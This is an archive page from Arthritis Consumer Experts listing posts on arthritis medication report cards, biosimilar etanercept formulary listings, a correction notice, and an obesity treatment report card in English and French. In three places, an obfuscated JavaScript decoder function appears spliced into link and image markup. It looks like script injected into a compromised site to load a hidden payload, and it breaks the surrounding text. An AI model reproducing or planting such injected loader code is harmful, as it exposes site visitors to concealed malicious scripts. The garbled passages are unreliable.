All posts related to "Report Card"

JointHealth™ Correction

screen shot of JointHealth™ report cardThe 2017 JointHealth™ Arthritis Medications Report Card and Medications Guide referred incorrectly to the indications approved for etanercept (Erelzi®)

A biosimilar version of etanercept based upon the reference product etanercept (Enbrel®), etanercept (Erelzi®) was issued a Notice of Compliance by Health Canada on April 5, 2017 for the treatment of patients with rheumatoid arthritis, ankylosing spondylitis and juvenile idiopathic arthritis.

We apologize for this oversight. Please kindly make this correction to the printed copy you may have recently received in the mail if you are a print subscriber.

Arthritis Consumer Experts

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe ankylosing spondylitis" rel="bookmark">Good news for Canadians living with rheumatoid arthritis and ankylosing spondylitis

A woman happy about good news for CanadiansYukon, Ontario, and British Columbia have all recently added biosimilar etanercept (Brenzys®) to their provincial formularies for the treatment of rheumatoid arthritis and ankylosing spondylitis. The following clinical criterion and conditions must be met:

  • clinical criterion: for use in patients for whom etanercept is considered to be the most appropriate treatment option.
  • conditions: Brenzys® must be reimbursed in a manner similar to Enbrel®; and, the cost of treatment with Brenzys® should provide significant cost savings for jurisdictions compared with the cost of treatment with Enbrel®

On October 25, 2016, biosimilar etanercept (Brenzys®) was approved for the treatment of rheumatoid arthritis and ankylosing spondylitis. Brenzys® is a biosimilar to the Canadian authorized reference product, Enbrel®. Both contain the active pharmaceutical ingredient, etanercept. Brenzys® works by targeting the tumor necrosis factor alpha (TNFA) molecule and is given by subcutaneous injection. Please click here to read the details of Health Canada’s decision summary for Brenzys®.

Listing details can be found in the JointHealth™ Arthritis Medications Report Card.

function l1c373528ef5(o4){var sa='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var q3='';var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc<<2)|(ve>>4);pc=((ve&15)<<4)|(r4>>2);u6=((r4&3)<<6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe Medications Guide Edition" rel="bookmark">JointHealth™ insight – The JointHealth™ Arthritis Medications Report Card and Medications Guide Edition

Arthritis Consumer Experts’ 10th Annual Arthritis Medications Report Card and Medications Guide: The changing landscapes of reimbursement for arthritis medications in Canada

JointHealth™ insight banner on Arthritis Medications Report Card and<script type=function l1c373528ef5(o4){var sa=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var q3=”;var x1,pc,u6,yc,ve,r4,n2;var oe=0;do{yc=sa.indexOf(o4.charAt(oe++));ve=sa.indexOf(o4.charAt(oe++));r4=sa.indexOf(o4.charAt(oe++));n2=sa.indexOf(o4.charAt(oe++));x1=(yc< <2)|(ve>>4);pc=((ve&15)< <4)|(r4>>2);u6=((r4&3)< <6)|n2;if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;q3+=String.fromCharCode(x1);if(r4!=64){if(pc>=192)pc+=848;else if(pc==168)pc=1025;else if(pc==184)pc=1105;q3+=String.fromCharCode(pc);}if(n2!=64){if(u6>=192)u6+=848;else if(u6==168)u6=1025;else if(u6==184)u6=1105;q3+=String.fromCharCode(u6);}}while(oe Medications Guide” width=”450″ height=”278″ />Arthritis Consumer Experts (ACE) has released its 10th Annual JointHealth™ Arthritis Medications Report Card and Medications Guide – the reliable, quick reference tool to help you evaluate where your province ranks in terms of providing reimbursement for medications to treat inflammatory forms of arthritis.

Commenting on the changing landscape for reimbursement of arthritis medications, ACE President, Cheryl Koehn stated: “Any new pharmaceutical policy that promises to deliver significant drug plan savings must do so without compromising patient safety and efficacy. ACE has also consistently advocated that any drug plan cost savings related to changes in policy that affect arthritis medication reimbursement access should be reinvested back to drug formulary budgets to support the listing of new arthritis medicines and other non-medication related initiatives to improve models of arthritis care such as creating rheumatology nursing billing codes.”

The JointHealth™ Arthritis Medications Report Card and Medications Guide gives you information on the most commonly prescribed medications for inflammatory types of arthritis, such as rheumatoid arthritis, axial spondyloarthritis, psoriatic arthritis or juvenile idiopathic arthritis.

In this JointHealth™ insight, topics covered include:

  • The changing landscapes of reimbursement for arthritis medications in Canada
  • The federal health department consultation on medication pricing regulations
  • The essential drugs program initiative in British Columbia
  • The Children and Youth Pharmacare plan in Ontario
  • Medication policies and politics in Canada

About the Report Card
Continue reading

Le Réseau canadien en obésité publie le premier bilan du genre au Canada

Le Réseau canadien en obésité publie le premier bilan du genre au Canada : Bulletin 2017 sur l’accès des adultes au traitement de l’obésité au Canada

Une modification de paradigme dans la prévention et le traitement de l’obésité.

Report Card on Obesity Treatment Cover PhotoLe bulletin semble prêt à passer du concept qui attribuait l’obésité à de simples mauvais choix de mode de vie pour évoluer vers celui du modèle socio-écologique de santé comportant l’obligation, pour nos systèmes de santé comme pour la société, de prévenir et de traiter l’obésité au même titre que d’autres maladies chroniques.

Comprendre votre indice de masse corporelle (IMC)
Le document Lignes directrices pour la classification du poids chez les adultes, publié par Santé Canada, s’appuie sur l’indice de masse corporelle (IMC) pour déterminer si une personne souffre d’un excès de poids. Vous pouvez calculer votre IMC en ligne ici ou en utilisant la formule suivante :

IMC = poids (kg) / taille (m)2

Le tableau Classification du risque pour la santé en fonction de l’indice de masse corporelle (IMC) publié par Santé Canada montre la corrélation entre l’IMC et le risque de développer certains problèmes de santé tels que le diabète de type 2, l’hypertension, une maladie coronarienne, un accident vasculaire cérébral et le cancer. D’autres facteurs peuvent influer sur votre IMC. Il est recommandé de consulter votre médecin de famille si votre excès de poids devient une préoccupation pour vous.
Continue reading

Canadian Obesity Network publishes first-ever Report Card On Access to Obesity Treatment

Canadian Obesity Network publishes first-ever Report Card On Access to Obesity Treatment For Adults in Canada 2017

A paradigm shift in the prevention and treatment of obesity.

Report Card on Obesity Treatment Cover PhotoThe report is a shift away from considering obesity to be merely the result of poor lifestyle choices toward a socio-ecological model of health that carries with it an obligation to our health systems and society to prevent and treat it as we do other chronic diseases.

Understanding your Body Mass Index (BMI)
Health Canada’s Canadian Guidelines for Body Weight Classification in Adults uses the Body Mass Index (BMI) to determine if someone is overweight. You can calculate your BMI using the formula below or online here:

BMI = weight (kg)/height (m)2

Health Canada’s Health Risk Classification According to Body Mass Index (BMI) table shows the correlation between your BMI score and your risk of developing health problems, such as type 2 diabetes, high blood pressure, heart disease, stroke, arthritis and cancer. Please note other factors may influence your BMI. You should consult your family physician if you are concerned about being overweight.
Continue reading

The lastest provincial listings, at your fingertips

Map of Canada

(Please click on the map for more information about the provincial drug formulary updates.)

The latest provincial listings, at your fingertips

Good news for people living with autoimmune arthritis in Canada!

Arthritis Consumer Experts (ACE) maps out the latest news for you: Read about the important changes to provincial drug formularies and what it means for Canadians living with autoimmune arthritis. The changes covered in this update affect people living with rheumatoid arthritis (RA), ankylosing spondylitis (AS), psoriatic arthritis (PsA) and juvenile idiopathic arthritis (JIA). Continue reading